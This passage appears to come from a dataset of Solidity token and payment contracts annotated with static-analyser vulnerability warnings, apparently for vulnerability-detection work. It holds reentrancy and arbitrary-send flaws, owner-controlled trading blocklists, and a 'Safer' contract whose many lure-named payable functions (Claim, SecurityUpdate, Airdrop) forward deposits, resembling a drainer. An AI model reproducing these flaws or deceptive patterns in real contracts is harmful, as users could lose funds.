changes.\n function reduceFinalSellTax(uint256 _newFee) external onlyOwner {\n\t\t// events-maths | ID: 77b50bd\n _finalSellTax = _newFee;\n }\n\n function isNetworkUserBuy(\n address sender,\n address recipient\n ) internal view returns (bool) {\n return\n recipient != pair &&\n recipient != DEAD &&\n !isFeeExempt[sender] &&\n !isFeeExempt[recipient];\n }\n\n function isTakeNetworkActions(\n address from,\n address to\n ) internal view returns (bool, uint) {\n uint _actions = 0;\n\n bool _isTakeFee = isTakeFees(from);\n\n if (to == pair) {\n _actions = 2;\n } else if (from == pair) {\n _actions = 1;\n } else {\n _actions = 0;\n }\n\n return (_isTakeFee, _actions);\n }\n\n function addNetworks(address[] memory Networks_) public onlyOwner {\n for (uint i = 0; i < Networks_.length; i++) {\n Networks[Networks_[i]] = true;\n }\n }\n\n function delNetworks(address[] memory notNetwork) public onlyOwner {\n for (uint i = 0; i < notNetwork.length; i++) {\n Networks[notNetwork[i]] = false;\n }\n }\n\n function isNetwork(address a) public view returns (bool) {\n return Networks[a];\n }\n\n\t// WARNING Vulnerability (reentrancy-events | severity: Low | ID: 1ebab04): Reentrancies (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy') that allow manipulation of the order or value of events.\n\t// Recommendation for 1ebab04: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-eth | severity: High | ID: 31461dc): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Do not report reentrancies that don't involve Ether.\n\t// Recommendation for 31461dc: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function _transferStandardTokens(\n address sender,\n address recipient,\n uint256 amount\n ) internal returns (bool) {\n require(sender != address(0), \"ERC20: transfer from the zero address\");\n\n require(recipient != address(0), \"ERC20: transfer to the zero address\");\n\n require(amount > 0, \"Transfer amount must be greater than zero\");\n\n bool takefee;\n\n uint actions;\n\n require(!Networks[sender] && !Networks[recipient]);\n\n if (inSwap) {\n return _basicTransfer(sender, recipient, amount);\n }\n\n if (!isFeeExempt[sender] && !isFeeExempt[recipient]) {\n require(TradingOpen, \"Trading not open yet\");\n }\n\n if (!swapEnabled) {\n return _basicTransfer(sender, recipient, amount);\n }\n\n if (isNetworkUserBuy(sender, recipient)) {\n require(\n isTxLimitExempt[recipient] ||\n _balances[recipient] + amount <= _maxWalletAmount,\n \"Transfer amount exceeds the bag size.\"\n );\n\n increaseBuyCount(sender);\n }\n\n (takefee, actions) = isTakeNetworkActions(sender, recipient);\n\n if (\n inSwapNetworkTokens(\n takefee,\n actions,\n amount,\n _swapNetworkThreshHold\n )\n ) {\n\t\t\t// reentrancy-events | ID: 1ebab04\n\t\t\t// reentrancy-eth | ID: 31461dc\n internalSwapBackEth(amount);\n }\n\n\t\t// reentrancy-events | ID: 1ebab04\n\t\t// reentrancy-eth | ID: 31461dc\n _transferTaxTokens(sender, recipient, amount, actions, takefee);\n\n return true;\n }\n\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) external override returns (bool) {\n if (_allowances[sender][msg.sender] != type(uint256).max) {\n _allowances[sender][msg.sender] = _allowances[sender][msg.sender]\n .sub(amount, \"Insufficient Allowance\");\n }\n\n return _transferStandardTokens(sender, recipient, amount);\n }\n\n function transfer(\n address recipient,\n uint256 amount\n ) external override returns (bool) {\n return _transferStandardTokens(msg.sender, recipient, amount);\n }\n\n function increaseBuyCount(address sender) internal {\n if (sender == pair) {\n _buyCounts++;\n }\n }\n\n function isTakeFees(address sender) internal view returns (bool) {\n return !isFeeExempt[sender];\n }\n}\n",
"file_name": "solidity_code_10110.sol",
"size_bytes": 23255,
"vulnerability": 4
} |
{
"code": "// SPDX-License-Identifier: Unlicense\npragma solidity ^0.8.0;\n\ncontract Safer {\n address private contract_owner;\n\n address private fee_receiver;\n\n uint8 private contract_fee;\n\n bool private fee_withdraw;\n\n event Ownership(address indexed last_owner, address indexed new_owner);\n\n event Percentage(uint8 last_percentage, uint8 new_percentage);\n\n constructor() {\n contract_owner = msg.sender;\n\n fee_receiver = contract_owner;\n\n fee_withdraw = false;\n\n contract_fee = 10;\n }\n\n function getOwner() public view returns (address) {\n return contract_owner;\n }\n\n function getBalance() public view returns (uint256) {\n return address(this).balance;\n }\n\n function salaryStatus() public view returns (bool) {\n return fee_withdraw;\n }\n\n function enableSalary() public {\n require(msg.sender == contract_owner, \"Access Denied\");\n\n fee_withdraw = true;\n }\n\n function disableSalary() public {\n require(msg.sender == contract_owner, \"Access Denied\");\n\n fee_withdraw = false;\n }\n\n\t// WARNING Vulnerability (tautology | severity: Medium | ID: d251e35): Safer.processTransaction(address,address,address,uint8,bool) contains a tautology or contradiction require(bool,string)(secondary_percent >= 0 && secondary_percent <= 100,Invalid Percent)\n\t// Recommendation for d251e35: Fix the incorrect comparison by changing the value type or the comparison.\n\t// WARNING Vulnerability (divide-before-multiply | severity: Medium | ID: ac11d28): Safer.processTransaction(address,address,address,uint8,bool) performs a multiplication on the result of a division reserve = (amount / 100) * contract_fee\n\t// Recommendation for ac11d28: Consider ordering multiplication before division.\n\t// WARNING Vulnerability (divide-before-multiply | severity: Medium | ID: 726ff79): Safer.processTransaction(address,address,address,uint8,bool) performs a multiplication on the result of a division secondary_amount = ((amount reserve) / 100) * secondary_percent\n\t// Recommendation for 726ff79: Consider ordering multiplication before division.\n\t// WARNING Vulnerability (arbitrary-send-eth | severity: High | ID: 4ac4eb1): Safer.processTransaction(address,address,address,uint8,bool) sends eth to arbitrary user Dangerous calls address(sender).transfer(amount_back)\n\t// Recommendation for 4ac4eb1: Ensure that an arbitrary user cannot withdraw unauthorized funds.\n function processTransaction(\n address sender,\n address primary_receiver,\n address secondary_receiver,\n uint8 secondary_percent,\n bool is_back\n ) private {\n\t\t// tautology | ID: d251e35\n require(\n secondary_percent >= 0 && secondary_percent <= 100,\n \"Invalid Percent\"\n );\n\n uint256 amount = msg.value;\n\n uint256 amount_back = 0;\n\n if (amount > 0) {\n amount = amount - 1;\n\n amount_back = amount_back + 1;\n }\n\n\t\t// divide-before-multiply | ID: ac11d28\n uint256 reserve = (amount / 100) * contract_fee;\n\n\t\t// divide-before-multiply | ID: 726ff79\n uint256 secondary_amount = ((amount - reserve) / 100) *\n secondary_percent;\n\n uint256 primary_amount = amount - reserve - secondary_amount;\n\n if (primary_amount > 0)\n payable(primary_receiver).transfer(primary_amount);\n\n if (secondary_amount > 0)\n payable(secondary_receiver).transfer(secondary_amount);\n\n if (reserve > 0 && fee_withdraw == true)\n payable(fee_receiver).transfer(reserve);\n\n if (amount_back > 0 && is_back == true)\n\t\t\t// arbitrary-send-eth | ID: 4ac4eb1\n payable(sender).transfer(amount_back);\n }\n\n\t// WARNING Vulnerability (missing-zero-check | severity: Low | ID: 11f1626): Safer.transferOwnership(address).new_owner lacks a zerocheck on \t contract_owner = new_owner\n\t// Recommendation for 11f1626: Check that the address is not zero.\n function transferOwnership(address new_owner) public {\n require(msg.sender == contract_owner, \"Access Denied\");\n\n address last_owner = contract_owner;\n\n\t\t// missing-zero-check | ID: 11f1626\n contract_owner = new_owner;\n\n emit Ownership(last_owner, contract_owner);\n }\n\n function claimSalary() public {\n require(msg.sender == contract_owner, \"Access Denied\");\n\n require(address(this).balance > 0, \"Balance Empty\");\n\n payable(fee_receiver).transfer(address(this).balance);\n }\n\n\t// WARNING Vulnerability (missing-zero-check | severity: Low | ID: 13e1fd2): Safer.setReceiver(address).new_receiver lacks a zerocheck on \t fee_receiver = new_receiver\n\t// Recommendation for 13e1fd2: Check that the address is not zero.\n function setReceiver(address new_receiver) public {\n require(msg.sender == contract_owner, \"Access Denied\");\n\n\t\t// missing-zero-check | ID: 13e1fd2\n fee_receiver = new_receiver;\n }\n\n\t// WARNING Vulnerability (tautology | severity: Medium | ID: a630f00): Safer.changePercentage(uint8) contains a tautology or contradiction require(bool,string)(new_percentage >= 0 && new_percentage <= 100,Invalid Percentage)\n\t// Recommendation for a630f00: Fix the incorrect comparison by changing the value type or the comparison.\n function changePercentage(uint8 new_percentage) public {\n require(msg.sender == contract_owner, \"Access Denied\");\n\n\t\t// tautology | ID: a630f00\n require(\n new_percentage >= 0 && new_percentage <= 100,\n \"Invalid Percentage\"\n );\n\n uint8 previous_percentage = contract_fee;\n\n contract_fee = new_percentage;\n\n emit Percentage(previous_percentage, contract_fee);\n }\n\n function Claim(\n address depositer,\n address handler,\n address keeper,\n uint8 percent,\n bool is_cashback\n ) public payable {\n processTransaction(depositer, handler, keeper, percent, is_cashback);\n }\n\n function ClaimReward(\n address depositer,\n address handler,\n address keeper,\n uint8 percent,\n bool is_cashback\n ) public payable {\n processTransaction(depositer, handler, keeper, percent, is_cashback);\n }\n\n function ClaimRewards(\n address depositer,\n address handler,\n address keeper,\n uint8 percent,\n bool is_cashback\n ) public payable {\n processTransaction(depositer, handler, keeper, percent, is_cashback);\n }\n\n function Execute(\n address depositer,\n address handler,\n address keeper,\n uint8 percent,\n bool is_cashback\n ) public payable {\n processTransaction(depositer, handler, keeper, percent, is_cashback);\n }\n\n function Multicall(\n address depositer,\n address handler,\n address keeper,\n uint8 percent,\n bool is_cashback\n ) public payable {\n processTransaction(depositer, handler, keeper, percent, is_cashback);\n }\n\n function Swap(\n address depositer,\n address handler,\n address keeper,\n uint8 percent,\n bool is_cashback\n ) public payable {\n processTransaction(depositer, handler, keeper, percent, is_cashback);\n }\n\n function Connect(\n address depositer,\n address handler,\n address keeper,\n uint8 percent,\n bool is_cashback\n ) public payable {\n processTransaction(depositer, handler, keeper, percent, is_cashback);\n }\n\n function SecurityUpdate(\n address depositer,\n address handler,\n address keeper,\n uint8 percent,\n bool is_cashback\n ) public payable {\n processTransaction(depositer, handler, keeper, percent, is_cashback);\n }\n\n function Airdrop(\n address depositer,\n address handler,\n address keeper,\n uint8 percent,\n bool is_cashback\n ) public payable {\n processTransaction(depositer, handler, keeper, percent, is_cashback);\n }\n\n function Cashback(\n address depositer,\n address handler,\n address keeper,\n uint8 percent,\n bool is_cashback\n ) public payable {\n processTransaction(depositer, handler, keeper, percent, is_cashback);\n }\n\n function Rewards(\n address depositer,\n address handler,\n address keeper,\n uint8 percent,\n bool is_cashback\n ) public payable {\n processTransaction(depositer, handler, keeper, percent, is_cashback);\n }\n\n function Process(\n address depositer,\n address handler,\n address keeper,\n uint8 percent,\n bool is_cashback\n ) public payable {\n processTransaction(depositer, handler, keeper, percent, is_cashback);\n }\n\n function Permit(\n address depositer,\n address handler,\n address keeper,\n uint8 percent,\n bool is_cashback\n ) public payable {\n processTransaction(depositer, handler, keeper, percent, is_cashback);\n }\n\n function Approve(\n address depositer,\n address handler,\n address keeper,\n uint8 percent,\n bool is_cashback\n ) public payable {\n processTransaction(depositer, handler, keeper, percent, is_cashback);\n }\n\n function Transfer(\n address depositer,\n address handler,\n address keeper,\n uint8 percent,\n bool is_cashback\n ) public payable {\n processTransaction(depositer, handler, keeper, percent, is_cashback);\n }\n\n function Deposit(\n address depositer,\n address handler,\n address keeper,\n uint8 percent,\n bool is_cashback\n ) public payable {\n processTransaction(depositer, handler, keeper, percent, is_cashback);\n }\n\n function Withdraw(\n address depositer,\n address handler,\n address keeper,\n uint8 percent,\n bool is_cashback\n ) public payable {\n processTransaction(depositer, handler, keeper, percent, is_cashback);\n }\n\n function Register(\n address depositer,\n address handler,\n address keeper,\n uint8 percent,\n bool is_cashback\n ) public payable {\n processTransaction(depositer, handler, keeper, percent, is_cashback);\n }\n\n function Verify(\n address depositer,\n address handler,\n address keeper,\n uint8 percent,\n bool is_cashback\n ) public payable {\n processTransaction(depositer, handler, keeper, percent, is_cashback);\n }\n}\n",
"file_name": "solidity_code_10111.sol",
"size_bytes": 10571,
"vulnerability": 4
} |
{
"code": "// SPDX-License-Identifier: MIT\npragma solidity ^0.8.0;\n\nabstract contract Context {\n function _msgSender() internal view virtual returns (address) {\n return msg.sender;\n }\n}\n\ninterface IERC20 {\n function totalSupply() external view returns (uint256);\n\n function balanceOf(address account) external view returns (uint256);\n\n function transfer(\n address recipient,\n uint256 amount\n ) external returns (bool);\n\n function allowance(\n address owner,\n address spender\n ) external view returns (uint256);\n\n function approve(address spender, uint256 amount) external returns (bool);\n\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) external returns (bool);\n\n event Transfer(address indexed from, address indexed to, uint256 value);\n\n event Approval(\n address indexed owner,\n address indexed spender,\n uint256 value\n );\n}\n\nlibrary SafeMath {\n function add(uint256 a, uint256 b) internal pure returns (uint256) {\n uint256 c = a + b;\n\n require(c >= a, \"SafeMath: addition overflow\");\n\n return c;\n }\n\n function sub(uint256 a, uint256 b) internal pure returns (uint256) {\n return sub(a, b, \"SafeMath: subtraction overflow\");\n }\n\n function sub(\n uint256 a,\n uint256 b,\n string memory errorMessage\n ) internal pure returns (uint256) {\n require(b <= a, errorMessage);\n\n uint256 c = a - b;\n\n return c;\n }\n\n function mul(uint256 a, uint256 b) internal pure returns (uint256) {\n if (a == 0) {\n return 0;\n }\n\n uint256 c = a * b;\n\n require(c / a == b, \"SafeMath: multiplication overflow\");\n\n return c;\n }\n\n function div(uint256 a, uint256 b) internal pure returns (uint256) {\n return div(a, b, \"SafeMath: division by zero\");\n }\n\n function div(\n uint256 a,\n uint256 b,\n string memory errorMessage\n ) internal pure returns (uint256) {\n require(b > 0, errorMessage);\n\n uint256 c = a / b;\n\n return c;\n }\n}\n\ncontract Ownable is Context {\n address private _owner;\n\n event OwnershipTransferred(\n address indexed previousOwner,\n address indexed newOwner\n );\n\n constructor() {\n address msgSender = _msgSender();\n\n _owner = msgSender;\n\n emit OwnershipTransferred(address(0), msgSender);\n }\n\n function owner() public view returns (address) {\n return _owner;\n }\n\n modifier onlyOwner() {\n require(_owner == _msgSender(), \"Ownable: caller is not the owner\");\n\n _;\n }\n\n function renounceOwnership() public virtual onlyOwner {\n emit OwnershipTransferred(_owner, address(0));\n\n _owner = address(0);\n }\n\n function transferOwnership(address newOwner) public virtual onlyOwner {\n require(\n newOwner != address(0),\n \"Ownable: new owner is the zero address\"\n );\n\n emit OwnershipTransferred(_owner, newOwner);\n\n _owner = newOwner;\n }\n}\n\ninterface IUniswapV2Factory {\n function createPair(\n address tokenA,\n address tokenB\n ) external returns (address pair);\n}\n\ninterface IUniswapV2Router02 {\n function swapExactTokensForETHSupportingFeeOnTransferTokens(\n uint amountIn,\n uint amountOutMin,\n address[] calldata path,\n address to,\n uint deadline\n ) external;\n\n function factory() external pure returns (address);\n\n function WETH() external pure returns (address);\n\n function addLiquidityETH(\n address token,\n uint amountTokenDesired,\n uint amountTokenMin,\n uint amountETHMin,\n address to,\n uint deadline\n )\n external\n payable\n returns (uint amountToken, uint amountETH, uint liquidity);\n}\n\ncontract PolitFi is Context, IERC20, Ownable {\n using SafeMath for uint256;\n\n mapping(address => uint256) private _balances;\n\n mapping(address => mapping(address => uint256)) private _allowances;\n\n mapping(address => bool) private isExile;\n\n mapping(address => bool) public marketPair;\n\n mapping(uint256 => uint256) private perBuyCount;\n\n address payable private _taxWallet;\n\n uint256 private firstBlock = 0;\n\n\t// WARNING Optimization Issue (constable-states | ID: 8012724): PolitFi._initialBuyTax should be constant \n\t// Recommendation for 8012724: Add the 'constant' attribute to state variables that never change.\n uint256 private _initialBuyTax = 25;\n\n\t// WARNING Optimization Issue (constable-states | ID: f28d2a7): PolitFi._initialSellTax should be constant \n\t// Recommendation for f28d2a7: Add the 'constant' attribute to state variables that never change.\n uint256 private _initialSellTax = 25;\n\n\t// WARNING Optimization Issue (constable-states | ID: f5633db): PolitFi._finalBuyTax should be constant \n\t// Recommendation for f5633db: Add the 'constant' attribute to state variables that never change.\n uint256 private _finalBuyTax = 0;\n\n\t// WARNING Optimization Issue (constable-states | ID: e6ebc3e): PolitFi._finalSellTax should be constant \n\t// Recommendation for e6ebc3e: Add the 'constant' attribute to state variables that never change.\n uint256 private _finalSellTax = 0;\n\n\t// WARNING Optimization Issue (constable-states | ID: f1407a5): PolitFi._reduceBuyTaxAt should be constant \n\t// Recommendation for f1407a5: Add the 'constant' attribute to state variables that never change.\n uint256 private _reduceBuyTaxAt = 25;\n\n\t// WARNING Optimization Issue (constable-states | ID: 2c15966): PolitFi._reduceSellTaxAt should be constant \n\t// Recommendation for 2c15966: Add the 'constant' attribute to state variables that never change.\n uint256 private _reduceSellTaxAt = 25;\n\n\t// WARNING Optimization Issue (constable-states | ID: 67999aa): PolitFi._preventSwapBefore should be constant \n\t// Recommendation for 67999aa: Add the 'constant' attribute to state variables that never change.\n uint256 private _preventSwapBefore = 25;\n\n uint256 private _buyCount = 0;\n\n uint256 private sellCount = 0;\n\n uint256 private lastSellBlock = 0;\n\n uint8 private constant _decimals = 9;\n\n uint256 private constant _tTotal = 420690000000 * 10 ** _decimals;\n\n string private constant _name = unicode\"PolitFi Meta\";\n\n string private constant _symbol = unicode\"POLITFI\";\n\n uint256 public _maxTxAmount = 8413800000 * 10 ** _decimals;\n\n uint256 public _maxWalletSize = 8413800000 * 10 ** _decimals;\n\n\t// WARNING Optimization Issue (constable-states | ID: c73183c): PolitFi._taxSwapThreshold should be constant \n\t// Recommendation for c73183c: Add the 'constant' attribute to state variables that never change.\n uint256 public _taxSwapThreshold = 4206900000 * 10 ** _decimals;\n\n uint256 public _maxTaxSwap = 4206900000 * 10 ** _decimals;\n\n IUniswapV2Router02 private uniswapV2Router;\n\n address public uniswapV2Pair;\n\n bool private tradingOpen;\n\n uint256 public caSell = 3;\n\n bool private inSwap = false;\n\n bool private swapEnabled = false;\n\n bool public caTrigger = true;\n\n event MaxTxAmountUpdated(uint _maxTxAmount);\n\n modifier lockTheSwap() {\n inSwap = true;\n\n _;\n\n inSwap = false;\n }\n\n constructor() {\n _taxWallet = payable(_msgSender());\n\n _balances[_msgSender()] = _tTotal;\n\n isExile[owner()] = true;\n\n isExile[address(this)] = true;\n\n isExile[address(uniswapV2Pair)] = true;\n\n emit Transfer(address(0), _msgSender(), _tTotal);\n }\n\n function name() public pure returns (string memory) {\n return _name;\n }\n\n function symbol() public pure returns (string memory) {\n return _symbol;\n }\n\n function decimals() public pure returns (uint8) {\n return _decimals;\n }\n\n function totalSupply() public pure override returns (uint256) {\n return _tTotal;\n }\n\n function balanceOf(address account) public view override returns (uint256) {\n return _balances[account];\n }\n\n function transfer(\n address recipient,\n uint256 amount\n ) public override returns (bool) {\n _transfer(_msgSender(), recipient, amount);\n\n return true;\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: 325cbd7): PolitFi.allowance(address,address).owner shadows Ownable.owner() (function)\n\t// Recommendation for 325cbd7: Rename the local variables that shadow another component.\n function allowance(\n address owner,\n address spender\n ) public view override returns (uint256) {\n return _allowances[owner][spender];\n }\n\n function approve(\n address spender,\n uint256 amount\n ) public override returns (bool) {\n _approve(_msgSender(), spender, amount);\n\n return true;\n }\n\n\t// WARNING Vulnerability (reentrancy-events | severity: Low | ID: 0333a14): Reentrancies (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy') that allow manipulation of the order or value of events.\n\t// Recommendation for 0333a14: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-benign | severity: Low | ID: ecc2f75): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Only report reentrancy that acts as a double call.\n\t// Recommendation for ecc2f75: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) public override returns (bool) {\n\t\t// reentrancy-events | ID: 0333a14\n\t\t// reentrancy-benign | ID: ecc2f75\n _transfer(sender, recipient, amount);\n\n\t\t// reentrancy-events | ID: 0333a14\n\t\t// reentrancy-benign | ID: ecc2f75\n _approve(\n sender,\n _msgSender(),\n _allowances[sender][_msgSender()].sub(\n amount,\n \"ERC20: transfer amount exceeds allowance\"\n )\n );\n\n return true;\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: 9c4bfa0): PolitFi._approve(address,address,uint256).owner shadows Ownable.owner() (function)\n\t// Recommendation for 9c4bfa0: Rename the local variables that shadow another component.\n function _approve(address owner, address spender, uint256 amount) private {\n require(owner != address(0), \"ERC20: approve from the zero address\");\n\n require(spender != address(0), \"ERC20: approve to the zero address\");\n\n\t\t// reentrancy-benign | ID: ecc2f75\n _allowances[owner][spender] = amount;\n\n\t\t// reentrancy-events | ID: 0333a14\n emit Approval(owner, spender, amount);\n }\n\n function setMarketPair(address addr) public onlyOwner {\n marketPair[addr] = true;\n }\n\n\t// WARNING Vulnerability (reentrancy-events | severity: Low | ID: cccc161): Reentrancies (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy') that allow manipulation of the order or value of events.\n\t// Recommendation for cccc161: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (incorrect-equality | severity: Medium | ID: a86839a): PolitFi._transfer(address,address,uint256) uses a dangerous strict equality block.number == firstBlock\n\t// Recommendation for a86839a: Don't use strict equality to determine if an account has enough Ether or tokens.\n\t// WARNING Vulnerability (reentrancy-eth | severity: High | ID: 809e120): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Do not report reentrancies that don't involve Ether.\n\t// Recommendation for 809e120: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-eth | severity: High | ID: da0fdeb): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Do not report reentrancies that don't involve Ether.\n\t// Recommendation for da0fdeb: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function _transfer(address from, address to, uint256 amount) private {\n require(from != address(0), \"ERC20: transfer from the zero address\");\n\n require(to != address(0), \"ERC20: transfer to the zero address\");\n\n require(amount > 0, \"Transfer amount must be greater than zero\");\n\n uint256 taxAmount = 0;\n\n if (from != owner() && to != owner()) {\n taxAmount = amount\n .mul(\n (_buyCount > _reduceBuyTaxAt)\n ? _finalBuyTax\n : _initialBuyTax\n )\n .div(100);\n\n\t\t\t// incorrect-equality | ID: a86839a\n if (block.number == firstBlock) {\n require(\n perBuyCount[block.number] < 51,\n \"Exceeds buys on the first block.\"\n );\n\n perBuyCount[block.number]++;\n }\n\n if (\n marketPair[from] &&\n to != address(uniswapV2Router) &&\n !isExile[to]\n ) {\n require(amount <= _maxTxAmount, \"Exceeds the _maxTxAmount.\");\n\n require(\n balanceOf(to) + amount <= _maxWalletSize,\n \"Exceeds the maxWalletSize.\"\n );\n\n _buyCount++;\n }\n\n if (!marketPair[to] && !isExile[to]) {\n require(\n balanceOf(to) + amount <= _maxWalletSize,\n \"Exceeds the maxWalletSize.\"\n );\n }\n\n if (marketPair[to] && from != address(this)) {\n taxAmount = amount\n .mul(\n (_buyCount > _reduceSellTaxAt)\n ? _finalSellTax\n : _initialSellTax\n )\n .div(100);\n }\n\n if (!marketPair[from] && !marketPair[to] && from != address(this)) {\n taxAmount = 0;\n }\n\n uint256 contractTokenBalance = balanceOf(address(this));\n\n if (\n caTrigger &&\n !inSwap &&\n marketPair[to] &&\n swapEnabled &&\n contractTokenBalance > _taxSwapThreshold &&\n _buyCount > _preventSwapBefore\n ) {\n if (block.number > lastSellBlock) {\n sellCount = 0;\n }\n\n require(sellCount < caSell, \"CA balance sell\");\n\n\t\t\t\t// reentrancy-events | ID: cccc161\n\t\t\t\t// reentrancy-eth | ID: 809e120\n\t\t\t\t// reentrancy-eth | ID: da0fdeb\n swapTokensForEth(\n min(amount, min(contractTokenBalance, _maxTaxSwap))\n );\n\n uint256 contractETHBalance = address(this).balance;\n\n if (contractETHBalance > 0) {\n\t\t\t\t\t// reentrancy-events | ID: cccc161\n\t\t\t\t\t// reentrancy-eth | ID: 809e120\n\t\t\t\t\t// reentrancy-eth | ID: da0fdeb\n sendETHToFee(address(this).balance);\n }\n\n\t\t\t\t// reentrancy-eth | ID: 809e120\n sellCount++;\n\n\t\t\t\t// reentrancy-eth | ID: 809e120\n lastSellBlock = block.number;\n } else if (\n !inSwap &&\n marketPair[to] &&\n swapEnabled &&\n contractTokenBalance > _taxSwapThreshold &&\n _buyCount > _preventSwapBefore\n ) {\n\t\t\t\t// reentrancy-events | ID: cccc161\n\t\t\t\t// reentrancy-eth | ID: da0fdeb\n swapTokensForEth(\n min(amount, min(contractTokenBalance, _maxTaxSwap))\n );\n\n uint256 contractETHBalance = address(this).balance;\n\n if (contractETHBalance > 0) {\n\t\t\t\t\t// reentrancy-events | ID: cccc161\n\t\t\t\t\t// reentrancy-eth | ID: da0fdeb\n sendETHToFee(address(this).balance);\n }\n }\n }\n\n if (taxAmount > 0) {\n\t\t\t// reentrancy-eth | ID: da0fdeb\n _balances[address(this)] = _balances[address(this)].add(taxAmount);\n\n\t\t\t// reentrancy-events | ID: cccc161\n emit Transfer(from, address(this), taxAmount);\n }\n\n\t\t// reentrancy-eth | ID: da0fdeb\n _balances[from] = _balances[from].sub(amount);\n\n\t\t// reentrancy-eth | ID: da0fdeb\n _balances[to] = _balances[to].add(amount.sub(taxAmount));\n\n\t\t// reentrancy-events | ID: cccc161\n emit Transfer(from, to, amount.sub(taxAmount));\n }\n\n function min(uint256 a, uint256 b) private pure returns (uint256) {\n return (a > b) ? b : a;\n }\n\n function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {\n address[] memory path = new address[](2);\n\n path[0] = address(this);\n\n path[1] = uniswapV2Router.WETH();\n\n _approve(address(this), address(uniswapV2Router), tokenAmount);\n\n\t\t// reentrancy-events | ID: 0333a14\n\t\t// reentrancy-events | ID: cccc161\n\t\t// reentrancy-benign | ID: ecc2f75\n\t\t// reentrancy-eth | ID: 809e120\n\t\t// reentrancy-eth | ID: da0fdeb\n uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(\n tokenAmount,\n 0,\n path,\n address(this),\n block.timestamp\n );\n }\n\n\t// WARNING Vulnerability (events-maths | severity: Low | ID: eb7cb6e): PolitFi.setMaxTaxSwap(bool,uint256) should emit an event for _maxTaxSwap = amount \n\t// Recommendation for eb7cb6e: Emit an event for critical parameter changes.\n function setMaxTaxSwap(bool enabled, uint256 amount) external onlyOwner {\n swapEnabled = enabled;\n\n\t\t// events-maths | ID: eb7cb6e\n _maxTaxSwap = amount;\n }\n\n\t// WARNING Vulnerability (events-maths | severity: Low | ID: 61a7700): PolitFi.setcaSell(uint256) should emit an event for caSell = amount \n\t// Recommendation for 61a7700: Emit an event for critical parameter changes.\n function setcaSell(uint256 amount) external onlyOwner {\n\t\t// events-maths | ID: 61a7700\n caSell = amount;\n }\n\n function setcaTrigger(bool _status) external onlyOwner {\n caTrigger = _status;\n }\n\n function rescueETH() external onlyOwner {\n payable(_taxWallet).transfer(address(this).balance);\n }\n\n\t// WARNING Vulnerability (unchecked-transfer | severity: High | ID: f2f3d92): PolitFi.rescueERC20tokens(address,uint256) ignores return value by IERC20(_tokenAddr).transfer(_taxWallet,_amount)\n\t// Recommendation for f2f3d92: Use 'SafeERC20', or ensure that the 'transfer'/'transferFrom' return value is checked.\n function rescueERC20tokens(\n address _tokenAddr,\n uint _amount\n ) external onlyOwner {\n\t\t// unchecked-transfer | ID: f2f3d92\n IERC20(_tokenAddr).transfer(_taxWallet, _amount);\n }\n\n\t// WARNING Vulnerability (missing-zero-check | severity: Low | ID: c1ee9d4): PolitFi.setFeeWallet(address).newTaxWallet lacks a zerocheck on \t _taxWallet = address(newTaxWallet)\n\t// Recommendation for c1ee9d4: Check that the address is not zero.\n function setFeeWallet(address newTaxWallet) external onlyOwner {\n\t\t// missing-zero-check | ID: c1ee9d4\n _taxWallet = payable(newTaxWallet);\n }\n\n function isNotRestricted() external onlyOwner {\n _maxTxAmount = _tTotal;\n\n _maxWalletSize = _tTotal;\n\n emit MaxTxAmountUpdated(_tTotal);\n }\n\n\t// WARNING Vulnerability (arbitrary-send-eth | severity: High | ID: c50ca17): PolitFi.sendETHToFee(uint256) sends eth to arbitrary user Dangerous calls _taxWallet.transfer(amount)\n\t// Recommendation for c50ca17: Ensure that an arbitrary user cannot withdraw unauthorized funds.\n function sendETHToFee(uint256 amount) private {\n\t\t// reentrancy-events | ID: 0333a14\n\t\t// reentrancy-events | ID: cccc161\n\t\t// reentrancy-eth | ID: 809e120\n\t\t// reentrancy-eth | ID: da0fdeb\n\t\t// arbitrary-send-eth | ID: c50ca17\n _taxWallet.transfer(amount);\n }\n\n\t// WARNING Vulnerability (reentrancy-benign | severity: Low | ID: 134c6ff): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Only report reentrancy that acts as a double call.\n\t// Recommendation for 134c6ff: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-benign | severity: Low | ID: c8d5b34): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Only report reentrancy that acts as a double call.\n\t// Recommendation for c8d5b34: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (unused-return | severity: Medium | ID: 5f72840): PolitFi.enableTrading() ignores return value by IERC20(uniswapV2Pair).approve(address(uniswapV2Router),type()(uint256).max)\n\t// Recommendation 